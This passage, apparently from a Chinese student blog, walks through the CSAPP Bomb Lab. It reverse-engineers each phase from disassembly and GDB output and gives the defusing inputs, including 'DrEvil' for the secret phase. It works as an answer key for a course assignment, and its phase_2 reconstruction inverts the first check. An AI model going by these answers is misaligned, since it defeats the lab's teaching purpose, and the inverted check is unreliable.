可以看出,在phase_2的一开始调用了read_six_numbers这个函数,初步推测这是用来从输入字符串中读取六个数字的函数,其将输入字符串的地址作为第一个参数,将栈顶指针%rsp作为第二个参数,下面我们查看read_six_numbers的反汇编代码,如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
000000000040145c <read_six_numbers>:
40145c: 48 83 ec 18 sub $0x18,%rsp
401460: 48 89 f2 mov %rsi,%rdx
401463: 48 8d 4e 04 lea 0x4(%rsi),%rcx
401467: 48 8d 46 14 lea 0x14(%rsi),%rax
40146b: 48 89 44 24 08 mov %rax,0x8(%rsp)
401470: 48 8d 46 10 lea 0x10(%rsi),%rax
401474: 48 89 04 24 mov %rax,(%rsp)
401478: 4c 8d 4e 0c lea 0xc(%rsi),%r9
40147c: 4c 8d 46 08 lea 0x8(%rsi),%r8
401480: be c3 25 40 00 mov $0x4025c3,%esi
401485: b8 00 00 00 00 mov $0x0,%eax
# 为sscanf配置参数
40148a: e8 61 f7 ff ff callq 400bf0 <__isoc99_sscanf@plt>
# 调用sscanf(input, "%d %d %d %d %d %d", &a[0], &a[1], &a[2], &a[3], &a[4], &a[5]);
40148f: 83 f8 05 cmp $0x5,%eax
401492: 7f 05 jg 401499 <read_six_numbers+0x3d>
401494: e8 a1 ff ff ff callq 40143a <explode_bomb> #若读取成功的数字数小于6则引爆bomb
401499: 48 83 c4 18 add $0x18,%rsp
40149d: c3 retq

可以看出,该函数在0x401460-0x401480为函数的调用构造了参数,在0x401485将返回值置0,并在0x40148a处调用了sscanf函数。并且检查sscanf函数的返回值(读取成功的变量个数),如果返回值<=5,则引爆bomb,否则则正确返回。

下面我们重点观察调用函数的参数构造过程。%rdi是第1个参数,指向了输入的字符串,推测第2个参数%rsi应该指向了格式化字符串的首地址,且该字符串为”%d %d %d %d %d %d”。%rdx是第3个参数,为%rsi+0,%rcx是第4个参数,为%rsi+4,%r8是第5个参数,为%rsi+8,%r9是第6个参数,为%rsi+12。(%rsp)是第7个参数,为%rsi+16,(%rsp+8)是第8个参数,为%rsi+20。

可以归纳出read_six_numbers接收2个参数,其中第1个参数为输入字符串的首地址,第2个参数为6元素的int型数组的首地址,该函数从输入字符串中读取6个数字,并且将这6个数字存入第2个参数所指向的int型数组中。但如果读取的数字不足6个,则会引爆bomb。

然后我们回到phase_2函数中,将phase_2函数逆向,可以得到如下的结果:

1
2
3
4
5
6
7
8
9
10
11
12
void phase_2(char * input) {
int a[6];
read_six_numbers(input, a);
if (a[0] == 1) explode_bomb();
int * b = &a[1], * bEnd = &a[6];
do {
int val = (*(b-1)) * 2;
if (*b != val) explode_bomb();
b++;
} while (b != bEnd);
return;
}

从上述的代码可以明显地看出编译器对于定长数组的优化,编译器使用了指针间接引用替代了数组引用。
上述代码依次检查了读入的6个数字,第1个数字必须为1,从第2个数字开始,每一个数字都必须是上一个数字的两倍,否则将会引爆bomb。显然,phase_2的答案为”1 2 4 8 16 32”。

下面我们在GDB中验证得出的结果。我们为explode_bomb、phase_2和read_six_numbers设置断点,在phase_2中输入”1 2 4 8 16 32”,并且在进入read_six_numbers函数后观察%rsi所指向的字符串是否为”%d %d %d %d %d %d”。这里为了方便起见,我们将phase_1的结果写入test.txt并读入。相关命令与结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
(gdb) break explode_bomb
Breakpoint 1 at 0x40143a
(gdb) break phase_2
Breakpoint 2 at 0x400efc
(gdb) break read_six_numbers
Breakpoint 3 at 0x40145c
(gdb) run test.txt
Starting program: /home/blackdragon/CSAPPLabs/BombLab/bomb test.txt
Welcome to my fiendish little bomb. You have 6 phases with
which to blow yourself up. Have a nice day!
Phase 1 defused. How about the next one?
1 2 4 8 16 32

Breakpoint 2, 0x0000000000400efc in phase_2 ()
(gdb) continue
Continuing.

Breakpoint 3, 0x000000000040145c in read_six_numbers ()
(gdb) stepi 10
0x0000000000401485 in read_six_numbers ()
(gdb) print (char *)($rsi)
$1 = 0x4025c3 "%d %d %d %d %d %d"
(gdb) continue
Continuing.
That's number 2. Keep going!

阶段3 - phase_3

在bomb-disassemble中观察phase_3的反汇编代码,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
0000000000400f43 <phase_3>:
400f43: 48 83 ec 18 sub $0x18,%rsp
400f47: 48 8d 4c 24 0c lea 0xc(%rsp),%rcx
400f4c: 48 8d 54 24 08 lea 0x8(%rsp),%rdx
400f51: be cf 25 40 00 mov $0x4025cf,%esi
400f56: b8 00 00 00 00 mov $0x0,%eax
400f5b: e8 90 fc ff ff callq 400bf0 <__isoc99_sscanf@plt>
# 从输入的字符串中读取两个数字 并存入局部变量中
400f60: 83 f8 01 cmp $0x1,%eax
400f63: 7f 05 jg 400f6a <phase_3+0x27>
400f65: e8 d0 04 00 00 callq 40143a <explode_bomb> # 若读取成功的数字不足两个 则引爆bomb
400f6a: 83 7c 24 08 07 cmpl $0x7,0x8(%rsp)
400f6f: 77 3c ja 400fad <phase_3+0x6a> # 若第一个数字(无符号)大于7 则引爆bomb
400f71: 8b 44 24 08 mov 0x8(%rsp),%eax
400f75: ff 24 c5 70 24 40 00 jmpq *0x402470(,%rax,8)
400f7c: b8 cf 00 00 00 mov $0xcf,%eax
400f81: eb 3b jmp 400fbe <phase_3+0x7b>
400f83: b8 c3 02 00 00 mov $0x2c3,%eax
400f88: eb 34 jmp 400fbe <phase_3+0x7b>
400f8a: b8 00 01 00 00 mov $0x100,%eax
400f8f: eb 2d jmp 400fbe <phase_3+0x7b>
400f91: b8 85 01 00 00 mov $0x185,%eax
400f96: eb 26 jmp 400fbe <phase_3+0x7b>
400f98: b8 ce 00 00 00 mov $0xce,%eax
400f9d: eb 1f jmp 400fbe <phase_3+0x7b>
400f9f: b8 aa 02 00 00 mov $0x2aa,%eax
400fa4: eb 18 jmp 400fbe <phase_3+0x7b>
400fa6: b8 47 01 00 00 mov $0x147,%eax
400fab: eb 11 jmp 400fbe <phase_3+0x7b>
400fad: e8 88 04 00 00 callq 40143a <explode_bomb>
400fb2: b8 00 00 00 00 mov $0x0,%eax
400fb7: eb 05 jmp 400fbe <phase_3+0x7b>
400fb9: b8 37 01 00 00 mov $0x137,%eax # switch语句
400fbe: 3b 44 24 0c cmp 0xc(%rsp),%eax
400fc2: 74 05 je 400fc9 <phase_3+0x86> # 判断a和b是否相等 不想等则引爆炸弹
400fc4: e8 71 04 00 00 callq 40143a <explode_bomb>
400fc9: 48 83 c4 18 add $0x18,%rsp
400fcd: c3 retq

推测phase_3的一开始用sscanf从输入字符串中读入了2个int型数字。

然后观察phase_3中的jmpq ×0x402470(,%rax,8)以及下面的mov与jmp指令,基本上可以肯定这是使用跳转表实现的switch语句。

下面在GDB中验证并记录不同%rax的值对应跳转表的不同跳转位置。具体的命令及结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
(gdb) break explode_bomb
Breakpoint 1 at 0x40143a
(gdb) break phase_3
Breakpoint 2 at 0x400f43
(gdb) run test.txt
Starting program: /home/blackdragon/CSAPPLabs/BombLab/bomb test.txt
Welcome to my fiendish little bomb. You have 6 phases with
which to blow yourself up. Have a nice day!
Phase 1 defused. How about the next one?
That's number 2. Keep going!
1 1

Breakpoint 2, 0x0000000000400f43 in phase_3 ()
(gdb) stepi 4
0x0000000000400f56 in phase_3 ()
(gdb) print (char *)($rsi)
$1 = 0x4025cf "%d %d"
(gdb) print /x *(long *)(0x402470+0)
$2 = 0x400f7c
(gdb) print /x *(long *)(0x402470+8)
$3 = 0x400fb9
(gdb) print /x *(long *)(0x402470+16)
$4 = 0x400f83
(gdb) print /x *(long *)(0x402470+24)
$5 = 0x400f8a
(gdb) print /x *(long *)(0x402470+32)
$6 = 0x400f91
(gdb) print /x *(long *)(0x402470+40)
$7 = 0x400f98
(gdb) print /x *(long *)(0x402470+48)
$8 = 0x400f9f
(gdb) print /x *(long *)(0x402470+56)
$9 = 0x400fa6

从GDB运行的结果可以看出,sscanf确实读入了两个int *数字,并且也得到了所有的%rax对应的跳转表的不同跳转位置。我们已经有了足够的信息来进行phase_3的逆向。

将phase_3函数逆向,得到如下的结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void phase_3(char * input) {
int a, b;
int val = sscanf(input, "%d %d", &a, &b);
if (val <= 1) explode_bomb();
switch (a) {
case 0: a = 207; break;
case 1: a = 311; break;
case 2: a = 707; break;
case 3: a = 256; break;
case 4: a = 389; break;
case 5: a = 206; break;
case 6: a = 682; break;
case 7: a = 327; break;
default: explode_bomb(); a = 0; break;
}
if (a != b) explode_bomb();
return;
}

根据逆向的结果,我们可以得知,本阶段要求输入2个数,且第1个数只能为0到7,且根据第1个数取值的不同,满足条件的第2个数的取值也不同,可能的答案如下:

第1个数 第2个数
0 207
1 311
2 707
3 256
4 389
5 206
6 682
7 327

在GDB中运行bomb并验证结果,结果正确。

阶段4 - phase_4

在bomb-disassemble中观察phase_4的反汇编代码,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
000000000040100c <phase_4>:
40100c: 48 83 ec 18 sub $0x18,%rsp
401010: 48 8d 4c 24 0c lea 0xc(%rsp),%rcx
401015: 48 8d 54 24 08 lea 0x8(%rsp),%rdx
40101a: be cf 25 40 00 mov $0x4025cf,%esi
40101f: b8 00 00 00 00 mov $0x0,%eax
401024: e8 c7 fb ff ff callq 400bf0 <__isoc99_sscanf@plt> # 从输入的字符串中读取两个数字 并存入局部变量中
401029: 83 f8 02 cmp $0x2,%eax
40102c: 75 07 jne 401035 <phase_4+0x29> # 若数字不为两个 则引爆bomb
40102e: 83 7c 24 08 0e cmpl $0xe,0x8(%rsp)
401033: 76 05 jbe 40103a <phase_4+0x2e> # 若第一个数字大于14 则引爆bomb
401035: e8 00 04 00 00 callq 40143a <explode_bomb>
40103a: ba 0e 00 00 00 mov $0xe,%edx
40103f: be 00 00 00 00 mov $0x0,%esi
401044: 8b 7c 24 08 mov 0x8(%rsp),%edi
401048: e8 81 ff ff ff callq 400fce <func4> # 调用func4
40104d: 85 c0 test %eax,%eax
40104f: 75 07 jne 401058 <phase_4+0x4c>
401051: 83 7c 24 0c 00 cmpl $0x0,0xc(%rsp)
401056: 74 05 je 40105d <phase_4+0x51> # 当返回值和b均为0时 解除阶段 否则 引爆bomb
401058: e8 dd 03 00 00 callq 40143a <explode_bomb>
40105d: 48 83 c4 18 add $0x18,%rsp
401061: c3

可以注意到,phase_4的反汇编代码前半部分与phase_3相似,均是从输入的字符串中读入2个数字。

将phase_4逆向,得到如下的结果:

1
2
3
4
5
6
7
void phase_4(char * input) {
int a, b;
int val = sscanf(input, "%d %d", &a, &b);
if (val != 2 || ((unsigned)a > 14)) explode_bomb();
val = func4(a, 0, 14);
if (val != 0 || b != 0) explode_bomb();
return;

从逆向的结果我们可以看出,phase_4从输入的字符串中读入2个数字a和b,并且a必须小于等于14且大于等于0,然后phase_4调用func4(a, 0, 14),且只有该函数的返回值和b均为0时,该阶段解除。

现在我们将注意转向phase_4调用的func4函数,func4的反汇编代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
0000000000400fce <func4>:
400fce: 48 83 ec 08 sub $0x8,%rsp
400fd2: 89 d0 mov %edx,%eax
400fd4: 29 f0 sub %esi,%eax
400fd6: 89 c1 mov %eax,%ecx
400fd8: c1 e9 1f shr $0x1f,%ecx
400fdb: 01 c8 add %ecx,%eax
400fdd: d1 f8 sar %eax
# 实际上是/2过程,为了保证负数时舍入正确才使用了位移
400fdf: 8d 0c 30 lea (%rax,%rsi,1),%ecx
# %rax加上b
400fe2: 39 f9 cmp %edi,%ecx
400fe4: 7e 0c jle 400ff2 <func4+0x24>
# if分支
400fe6: 8d 51 ff lea -0x1(%rcx),%edx
400fe9: e8 e0 ff ff ff callq 400fce <func4>
# 递归过程
400fee: 01 c0 add %eax,%eax
400ff0: eb 15 jmp 401007 <func4+0x39>
400ff2: b8 00 00 00 00 mov $0x0,%eax
400ff7: 39 f9 cmp %edi,%ecx
400ff9: 7d 0c jge 401007 <func4+0x39>
400ffb: 8d 71 01 lea 0x1(%rcx),%esi
400ffe: e8 cb ff ff ff callq 400fce <func4>
# 递归过程
401003: 8d 44 00 01 lea 0x1(%rax,%rax,1),%eax
401007: 48 83 c4 08 add $0x8,%rsp
40100b: c3 retq

观察反汇编的func4函数,发现func4函数中调用了func4函数自身,由此可以推测func4函数是一个递归过程。

将func4逆向,得到如下的结果:

1
2
3
4
5
6
7
8
9
10
int func4(int a, int b, int c) {
int returnVal = (c - b) / 2;
int val = returnVal + b;
if (val == a) return 0;
if (val < a) {
return 2 * func4(a, val + 1, c) + 1;
} else {
return 2 * func4(a, b, val - 1);
}
}

观察func4的逆向结果,我们可以发现func4非常类似于二分查找的过程。要另func4的返回值为0,则一定不能让func4执行val<a的分支即必须一直保证(b+c)/2 >= a。考虑到0<=a<=14,所以满足条件的a有a=7 a=3 a=1 a=0 共4个。

在GDB中运行bomb并验证结果,结果正确。

阶段5 - phase_5

在bomb-disassemble中观察phase_5的反汇编代码,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
0000000000401062 <phase_5>:
401062: 53 push %rbx
401063: 48 83 ec 20 sub $0x20,%rsp
401067: 48 89 fb mov %rdi,%rbx
40106a: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax
401071: 00 00
# 栈破坏检测机制
401073: 48 89 44 24 18 mov %rax,0x18(%rsp)
401078: 31 c0 xor %eax,%eax
40107a: e8 9c 02 00 00 callq 40131b <string_length>
# 计算输入字符串长度
40107f: 83 f8 06 cmp $0x6,%eax
401082: 74 4e je 4010d2 <phase_5+0x70>
# 若长度不为6 则引爆bomb
401084: e8 b1 03 00 00 callq 40143a <explode_bomb>
401089: eb 47 jmp 4010d2 <phase_5+0x70>
40108b: 0f b6 0c 03 movzbl (%rbx,%rax,1),%ecx
40108f: 88 0c 24 mov %cl,(%rsp)
401092: 48 8b 14 24 mov (%rsp),%rdx
401096: 83 e2 0f and $0xf,%edx
401099: 0f b6 92 b0 24 40 00 movzbl 0x4024b0(%rdx),%edx
4010a0: 88 54 04 10 mov %dl,0x10(%rsp,%rax,1)
实际上是a[i] = 0x4024b0[input[i] & 0xf]
4010a4: 48 83 c0 01 add $0x1,%rax
4010a8: 48 83 f8 06 cmp $0x6,%rax
4010ac: 75 dd jne 40108b <phase_5+0x29>
# 循环以及条件判断
4010ae: c6 44 24 16 00 movb $0x0,0x16(%rsp)
# 为构造的字符串尾部加上'\0'
4010b3: be 5e 24 40 00 mov $0x40245e,%esi
4010b8: 48 8d 7c 24 10 lea 0x10(%rsp),%rdi
4010bd: e8 76 02 00 00 callq 401338 <strings_not_equal>
# 调用strings_not_equal函数
4010c2: 85 c0 test %eax,%eax
4010c4: 74 13 je 4010d9 <phase_5+0x77>
# 若返回值不为0 则引爆bomb
4010c6: e8 6f 03 00 00 callq 40143a <explode_bomb>
4010cb: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1)
4010d0: eb 07 jmp 4010d9 <phase_5+0x77>
4010d2: b8 00 00 00 00 mov $0x0,%eax
4010d7: eb b2 jmp 40108b <phase_5+0x29>
4010d9: 48 8b 44 24 18 mov 0x18(%rsp),%rax
4010de: 64 48 33 04 25 28 00 xor %fs:0x28,%rax
4010e5: 00 00
4010e7: 74 05 je 4010ee <phase_5+0x8c>
4010e9: e8 42 fa ff ff callq 400b30 <__stack_chk_fai
l@plt>
4010ee: 48 83 c4 20 add $0x20,%rsp
4010f2: 5b pop %rbx
4010f3: c3 retq

首先,我们注意到phase_5采用了栈破坏检测机制,并且设置了相应的哨兵值防止栈缓冲区溢出。
然后我们将phase_5逆向,得到如下的结果:
1
2
3
4
5
6
7
8
9
void phase_5(char * input) {
char a[7];
if (strlen(input) != 6) explode_bomb();
for (int i = 0 ; i < 6 ; i++)
a[i] = 0x4024b0[input[i] & 0xf];
a[6] = '\0';
int val = strings_not_equal(a, 0x40245e);
if (val != 0) explode_bomb();
return;

在GDB中打印0x4024b0和0x40245e所对应的字符串,命令和结果如下所示:
1
2
3
4
(gdb) print (char *)0x4024b0
$1 = 0x4024b0 <array> "maduiersnfotvbylSo you think you can stop the bomb with ctrl-c, do you?"
(gdb) print (char *)0x40245e
$2 = 0x40245e "flyers"

可以看出,phase_5实际上是phase_1的提高。

phase_5要求输入一个6个字符的字符串,通过将取出输入字符串中每个字符的后四位当做偏移地址,以该偏移地址取出地址为0x4024b0处的字符数组中对应的字符,并依次保存在临时数组a中构造一个新的字符串。
再将这个新的字符串与0x40245e处的字符串相比较,如果两个字符串相等,则该阶段解除。

0x40245e处的字符串为”flyers”,其每个字符在0x4024b0处的字符数组”maduiersnfotvbyl”中的对应的偏移量为9,15,14,5,6,7。因此只要输入的字符串的后四位换算成10进制分别为9,15,14,5,6,7即可。

本phase的答案不唯一。一个可能的答案为”yo~uvw”,在GDB中运行bomb并验证结果,结果正确。

阶段6 - phase_6

本phase是所有phase中最难的一个,但是仍然需要一步一步的分解反汇编代码,并最终得到正确的字符串。
在bomb-disassemble中观察phase_6的反汇编代码,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
00000000004010f4 <phase_6>:
4010f4: 41 56 push %r14
4010f6: 41 55 push %r13
4010f8: 41 54 push %r12
4010fa: 55 push %rbp
4010fb: 53 push %rbx
4010fc: 48 83 ec 50 sub $0x50,%rsp
401100: 49 89 e5 mov %rsp,%r13
401103: 48 89 e6 mov %rsp,%rsi
401106: e8 51 03 00 00 callq 40145c <read_six_numbers>
# 读入6int型数字
40110b: 49 89 e6 mov %rsp,%r14
40110e: 41 bc 00 00 00 00 mov $0x0,%r12d
401114: 4c 89 ed mov %r13,%rbp
401117: 41 8b 45 00 mov 0x0(%r13),%eax
40111b: 83 e8 01 sub $0x1,%eax
40111e: 83 f8 05 cmp $0x5,%eax
401121: 76 05 jbe 401128 <phase_6+0x34>
401123: e8 12 03 00 00 callq 40143a <explode_bomb>
# 判断数字必须小于等于6
401128: 41 83 c4 01 add $0x1,%r12d
40112c: 41 83 fc 06 cmp $0x6,%r12d
401130: 74 21 je 401153 <phase_6+0x5f>
401132: 44 89 e3 mov %r12d,%ebx
401135: 48 63 c3 movslq %ebx,%rax
401138: 8b 04 84 mov (%rsp,%rax,4),%eax
40113b: 39 45 00 cmp %eax,0x0(%rbp)
40113e: 75 05 jne 401145 <phase_6+0x51>
401140: e8 f5 02 00 00 callq 40143a <explode_bomb>
401145: 83 c3 01 add $0x1,%ebx
401148: 83 fb 05 cmp $0x5,%ebx
40114b: 7e e8 jle 401135 <phase_6+0x41>
40114d: 49 83 c5 04 add $0x4,%r13
401151: eb c1 jmp 401114 <phase_6+0x20>
# 判断这6个数字两两不重复
401153: 48 8d 74 24 18 lea 0x18(%rsp),%rsi
401158: 4c 89 f0 mov %r14,%rax
40115b: b9 07 00 00 00 mov $0x7,%ecx
401160: 89 ca mov %ecx,%edx
401162: 2b 10 sub (%rax),%edx
401164: 89 10 mov %edx,(%rax)
401166: 48 83 c0 04 add $0x4,%rax
40116a: 48 39 f0 cmp %rsi,%rax
40116d: 75 f1 jne 401160 <phase_6+0x6c>
# 分别用7减去这6个数
40116f: be 00 00 00 00 mov $0x0,%esi
401174: eb 21 jmp 401197 <phase_6+0xa3>
401176: 48 8b 52 08 mov 0x8(%rdx),%rdx
40117a: 83 c0 01 add $0x1,%eax
40117d: 39 c8 cmp %ecx,%eax
40117f: 75 f5 jne 401176 <phase_6+0x82>
401181: eb 05 jmp 401188 <phase_6+0x94>
401183: ba d0 32 60 00 mov $0x6032d0,%edx
401188: 48 89 54 74 20 mov %rdx,0x20(%rsp,%rsi,2)
40118d: 48 83 c6 04 add $0x4,%rsi
401191: 48 83 fe 18 cmp $0x18,%rsi
401195: 74 14 je 4011ab <phase_6+0xb7>
401197: 8b 0c 34 mov (%rsp,%rsi,1),%ecx
40119a: 83 f9 01 cmp $0x1,%ecx
40119d: 7e e4 jle 401183 <phase_6+0x8f>
40119f: b8 01 00 00 00 mov $0x1,%eax
4011a4: ba d0 32 60 00 mov $0x6032d0,%edx
4011a9: eb cb jmp 401176 <phase_6+0x82>
4011ab: 48 8b 5c 24 20 mov 0x20(%rsp),%rbx
4011b0: 48 8d 44 24 28 lea 0x28(%rsp),%rax
4011b5: 48 8d 74 24 50 lea 0x50(%rsp),%rsi
4011ba: 48 89 d9 mov %rbx,%rcx
4011bd: 48 8b 10 mov (%rax),%rdx
4011c0: 48 89 51 08 mov %rdx,0x8(%rcx)
4011c4: 48 83 c0 08 add $0x8,%rax
4011c8: 48 39 f0 cmp %rsi,%rax
4011cb: 74 05 je 4011d2 <phase_6+0xde>
4011cd: 48 89 d1 mov %rdx,%rcx
4011d0: eb eb jmp 4011bd <phase_6+0xc9>
4011d2: 48 c7 42 08 00 00 00 movq $0x0,0x8(%rdx)
4011d9: 00
4011da: bd 05 00 00 00 mov $0x5,%ebp
4011df: 48 8b 43 08 mov 0x8(%rbx),%rax
4011e3: 8b 00 mov (%rax),%eax
4011e5: 39 03 cmp %eax,(%rbx)
4011e7: 7d 05 jge 4011ee <phase_6+0xfa>
4011e9: e8 4c 02 00 00 callq 40143a <explode_bomb>
4011ee: 48 8b 5b 08 mov 0x8(%rbx),%rbx
4011f2: 83 ed 01 sub $0x1,%ebp
4011f5: 75 e8 jne 4011df <phase_6+0xeb>
# 主要是重排链表 并且判断重排后的链表递减 否则引爆bomb
4011f7: 48 83 c4 50 add $0x50,%rsp
4011fb: 5b pop %rbx
4011fc: 5d pop %rbp
4011fd: 41 5c pop %r12
4011ff: 41 5d pop %r13
401201: 41 5e pop %r14
401203: c3 retq

由于phase_6的逆向比较复杂,这里只大致介绍该函数的作用——

  1. 该函数在栈上分配了80个字节,包括了一个有6个int型数字的数组a和一个有6个指针的数组b。
  2. 同phase_2一样,该函数调用了read_six_numbers从输入的字符串中读取了6个数字,并且保存到数组a中。
  3. 判断这6个数字是否都小于等于6并且互相不重复,如果不满足则引爆炸弹。
  4. 分别用7减去这6个数,并且用计算结果覆盖这6个数。既a[i] = 7 - a[i]。
  5. phase_6中引用了来自0x6032d0的结构体数组,该结构体共16个字节,其中前8个字节存放了一个int型的数字(结构体对齐),后8个字节存放了一个指针,该指针在指向结构体数组中的下一个元素。这实际上是一个有6个元素的单向链表。
  6. 程序从i=1开始,将结构体数组中的第a[i]个元素的首地址存放进b[i]中,循环6次,直到i=6。
  7. 程序从b[1]开始,将b[1]对应的元素的后8个字节对应的地址指向b[2],直到b[5]->next = b[6],将b[6]所对应的元素的后8个字节对应的地址指向0。
  8. 然后从b[1]所对应的节点开始,依次判断整个链表是否降序排列,如果不满足降序,则引爆bomb。

phase_6是所有phases中最难的一个,其本质是输入1组数字从而实现对单向链表的重排,使得重排后的单向链表降序。

原链表的情况如下:

节点 1 2 3 4 5 6
322 168 924 691 477 443

因此使得链表降序的输入为:”3 4 5 6 1 2”
注意这是用7减过之后的数字序列,原输入序列也就是答案应为:”4 3 2 1 6 5”

隐藏阶段 - secret_phase

观察bomb-symboltable和bomb-disassemble我们都能发现一个叫做secret_phase的函数,这就是本次实验中被隐藏起来的phase。

经过观察反汇编代码,我们发现call secret_phase位于phase_defused函数中。

在bomb-disassemble中观察phase_defused的反汇编代码,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
00000000004015c4 <phase_defused>:
4015c4: 48 83 ec 78 sub $0x78,%rsp
4015c8: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax
4015cf: 00 00
4015d1: 48 89 44 24 68 mov %rax,0x68(%rsp)
4015d6: 31 c0 xor %eax,%eax
4015d8: 83 3d 81 21 20 00 06 cmpl $0x6,0x202181(%rip) # 603760 <num_input_strings>
# 输入过的字符串数目必须为6 意味着必须是phase_6之后
4015df: 75 5e jne 40163f <phase_defused+0x7b>
4015e1: 4c 8d 44 24 10 lea 0x10(%rsp),%r8
4015e6: 48 8d 4c 24 0c lea 0xc(%rsp),%rcx
4015eb: 48 8d 54 24 08 lea 0x8(%rsp),%rdx
4015f0: be 19 26 40 00 mov $0x402619,%esi
4015f5: bf 70 38 60 00 mov $0x603870,%edi
4015fa: e8 f1 f5 ff ff callq 400bf0 <__isoc99_sscanf@plt>
4015ff: 83 f8 03 cmp $0x3,%eax
401602: 75 31 jne 401635 <phase_defused+0x71>
401604: be 22 26 40 00 mov $0x402622,%esi
401609: 48 8d 7c 24 10 lea 0x10(%rsp),%rdi
40160e: e8 25 fd ff ff callq 401338 <strings_not_equal>
# 第4个输入字符串读入两个数字和一个字符串 且字符串必须与0x402622处的字符串相等
401613: 85 c0 test %eax,%eax
401615: 75 1e jne 401635 <phase_defused+0x71>
401617: bf f8 24 40 00 mov $0x4024f8,%edi
40161c: e8 ef f4 ff ff callq 400b10 <puts@plt>
401621: bf 20 25 40 00 mov $0x402520,%edi
401626: e8 e5 f4 ff ff callq 400b10 <puts@plt>
40162b: b8 00 00 00 00 mov $0x0,%eax
401630: e8 0d fc ff ff callq 401242 <secret_phase>
# 然后才能进入隐藏阶段
401635: bf 58 25 40 00 mov $0x402558,%edi
40163a: e8 d1 f4 ff ff callq 400b10 <puts@plt>
40163f: 48 8b 44 24 68 mov 0x68(%rsp),%rax
401644: 64 48 33 04 25 28 00 xor %fs:0x28,%rax
40164b: 00 00
40164d: 74 05 je 401654 <phase_defused+0x90>
40164f: e8 dc f4 ff ff callq 400b30 <__stack_chk_fail@plt>
401654: 48 83 c4 78 add $0x78,%rsp
401658: c3 retq

当且仅当phase_6解除并且从phase_4的输入字符串依次读取两个数字和一个字符串且这个字符串为”DrEvil”时,可以进入。

在bomb-disassemble中观察secret_phase的反汇编代码,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
0000000000401242 <secret_phase>:
401242: 53 push %rbx
401243: e8 56 02 00 00 callq 40149e <read_line>
401248: ba 0a 00 00 00 mov $0xa,%edx
40124d: be 00 00 00 00 mov $0x0,%esi
401252: 48 89 c7 mov %rax,%rdi
401255: e8 76 f9 ff ff callq 400bd0 <strtol@plt>
# 调用strtol函数
40125a: 48 89 c3 mov %rax,%rbx
40125d: 8d 40 ff lea -0x1(%rax),%eax
401260: 3d e8 03 00 00 cmp $0x3e8,%eax
401265: 76 05 jbe 40126c <secret_phase+0x2a>
401267: e8 ce 01 00 00 callq 40143a <explode_bomb> # 如果数字减1之后大于1000 则引爆bomb
40126c: 89 de mov %ebx,%esi
40126e: bf f0 30 60 00 mov $0x6030f0,%edi
401273: e8 8c ff ff ff callq 401204 <fun7>
# 调用fun7
401278: 83 f8 02 cmp $0x2,%eax
40127b: 74 05 je 401282 <secret_phase+0x40>
40127d: e8 b8 01 00 00 callq 40143a <explode_bomb> # 如果fun7返回值不为2 则引爆bomb
401282: bf 38 24 40 00 mov $0x402438,%edi
401287: e8 84 f8 ff ff callq 400b10 <puts@plt>
40128c: e8 33 03 00 00 callq 4015c4 <phase_defused>
401291: 5b pop %rbx
401292: c3 retq

根据反汇编的结果,我们可以得知,secret_phase同样需要读入一个字符串,之后其首先调用strtol(input, NULL, 10)将输入的字符串转换成long型数字a。

如果该数字>1001,则引爆bomb,否则则调用fun7(0x6030f0, a)并判断其返回结果,当且仅当结果为2时,解除secret_phase。

在bomb-disassemble中观察fun7的反汇编代码,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
0000000000401204 <fun7>:
401204: 48 83 ec 08 sub $0x8,%rsp
401208: 48 85 ff test %rdi,%rdi
40120b: 74 2b je 401238 <fun7+0x34>
40120d: 8b 17 mov (%rdi),%edx
40120f: 39 f2 cmp %esi,%edx
401211: 7e 0d jle 401220 <fun7+0x1c>
401213: 48 8b 7f 08 mov 0x8(%rdi),%rdi
401217: e8 e8 ff ff ff callq 401204 <fun7>
40121c: 01 c0 add %eax,%eax
40121e: eb 1d jmp 40123d <fun7+0x39>
401220: b8 00 00 00 00 mov $0x0,%eax
401225: 39 f2 cmp %esi,%edx
401227: 74 14 je 40123d <fun7+0x39>
401229: 48 8b 7f 10 mov 0x10(%rdi),%rdi
40122d: e8 d2 ff ff ff callq 401204 <fun7>
401232: 8d 44 00 01 lea 0x1(%rax,%rax,1),%eax
401236: eb 05 jmp 40123d <fun7+0x39>
401238: b8 ff ff ff ff mov $0xffffffff,%eax
40123d: 48 83 c4 08 add $0x8,%rsp
401241: c3 retq
# 同样是递归的二分查找过程 数据结构是BST二叉搜索树

将fun7逆向,结果如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
struct tree {
int val;
struct tree * left;
struct tree * right;
};

int fun7(struct tree * ptr, int num) {
if (ptr == NULL) return -1;
if (ptr->val == num) return 0;
if (ptr->val < num) {
ptr = ptr->right;
return 2 * fun7(ptr, num) + 1;
} else {
ptr = ptr->left;
return 2 * fun7(ptr, num);
}
}

